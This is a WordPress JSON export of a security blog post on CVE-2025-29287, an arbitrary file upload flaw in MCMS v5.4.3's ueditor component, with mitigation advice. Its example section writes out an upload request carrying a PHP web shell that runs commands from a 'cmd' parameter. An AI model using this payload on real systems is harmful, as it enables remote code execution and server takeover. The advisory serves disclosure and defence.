{"id":31350,"date":"2025-04-25T20:22:49","date_gmt":"2025-04-25T20:22:49","guid":{"rendered":""},"modified":"2025-06-09T23:31:09","modified_gmt":"2025-06-10T05:31:09","slug":"cve-2025-29287-high-severity-arbitrary-file-upload-vulnerability-in-mcms-v5-4-3","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-29287-high-severity-arbitrary-file-upload-vulnerability-in-mcms-v5-4-3\/","title":{"rendered":"<strong>CVE-2025-29287: High Severity Arbitrary File Upload Vulnerability in MCMS v5.4.3<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the world of cybersecurity, one of the most critical types of vulnerabilities that can possibly exist in a system is an arbitrary file upload vulnerability. This type of flaw, if exploited, could allow an attacker to execute arbitrary code, potentially leading to a complete system compromise. This blog <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4389-arbitrary-file-upload-vulnerability-in-wordpress-crawlomatic-multipage-scraper-post-generator-plugin\/\"  data-wpil-monitor-id=\"51083\">post will detail such a vulnerability<\/a> &#8211; CVE-2025-29287 &#8211; that exists within the ueditor component of MCMS v5.4.3. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30511-stored-xss-vulnerability-due-to-improper-sanitization-of-plant-name-input\/\"  data-wpil-monitor-id=\"35949\">vulnerability is of considerable concern due<\/a> to its high CVSS Severity Score of 9.8, meaning it can have a substantial impact on the confidentiality, integrity, and availability of the system it affects.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-29287<br \/>\nSeverity: Critical (9.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30727-unpatched-vulnerability-in-oracle-scripting-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"35775\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2258992886\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>MCMS | v5.4.3<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit takes advantage of the arbitrary <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32672-critical-php-remote-file-inclusion-vulnerability-in-ultimate-bootstrap-elements-for-elementor\/\"  data-wpil-monitor-id=\"35687\">file upload vulnerability<\/a> present in the ueditor component of MCMS v5.4.3. An attacker can craft a malicious file, which when uploaded, would <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30967-critical-csrf-vulnerability-in-wpjobboard-plugin-allows-remote-code-execution\/\"  data-wpil-monitor-id=\"36075\">allow the attacker to execute arbitrary code<\/a>. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32953-security-vulnerability-in-z80pack-emulator-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"40437\">lead to multiple security<\/a> compromises, such as data leakage or complete system takeover. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-27282-unrestricted-upload-of-file-with-dangerous-type-vulnerability-in-theme-file-duplicator\/\"  data-wpil-monitor-id=\"36839\">vulnerability is particularly dangerous<\/a> as it does not require any user interaction or special privileges, making it a prime target for malicious actors.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2947121760\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45997-exploiting-file-upload-vulnerability-in-web-based-pharmacy-product-management-system\/\"  data-wpil-monitor-id=\"56857\">vulnerability might be exploited<\/a>. This example simulates a malicious HTTP POST <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39601-cross-site-request-forgery-vulnerability-in-wpfactory-custom-css-js-php\/\"  data-wpil-monitor-id=\"36042\">request to the vulnerable<\/a> endpoint:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/ueditor\/upload\/file HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;upfile&quot;; filename=&quot;malicious_file.php&quot;\nContent-Type: application\/x-php\n&lt;?php echo shell_exec($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In the above example, a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32654-php-local-file-inclusion-vulnerability-in-stylemix-motors\/\"  data-wpil-monitor-id=\"35974\">PHP file<\/a> is uploaded that, when accessed, would execute any command passed as a &#8216;cmd&#8217; GET parameter. This is only a conceptual example, but it demonstrates the potential <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39557-severe-unrestricted-file-upload-vulnerability-in-kadence-woocommerce-email-designer\/\"  data-wpil-monitor-id=\"36080\">severity of the vulnerability<\/a>.<\/p>\n<p><strong>Mitigation and Recommendations<\/strong><\/p>\n<p>The foremost recommendation for mitigating this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47884-jenkins-openid-connect-provider-plugin-vulnerability-leading-to-unauthorized-access\/\"  data-wpil-monitor-id=\"51084\">vulnerability is to apply the official patch provided<\/a> by the vendor. In scenarios where immediate patching is not possible, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can act as temporary mitigation measures. These can help detect and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-38657-out-of-bounds-write-vulnerability-in-gtkwave-lxt2-zlib-block-decompression\/\"  data-wpil-monitor-id=\"43171\">block attempts to exploit the vulnerability<\/a>. However, they should not be viewed as long-term solutions, and patching should be prioritized as soon as possible.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the world of cybersecurity, one of the most critical types of vulnerabilities that can possibly exist in a system is an arbitrary file upload vulnerability. This type of flaw, if exploited, could allow an attacker to execute arbitrary code, potentially leading to a complete system compromise. This blog post will detail such a [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-31350","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31350","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=31350"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31350\/revisions"}],"predecessor-version":[{"id":50769,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/31350\/revisions\/50769"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=31350"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=31350"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=31350"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=31350"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=31350"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=31350"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=31350"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=31350"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=31350"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}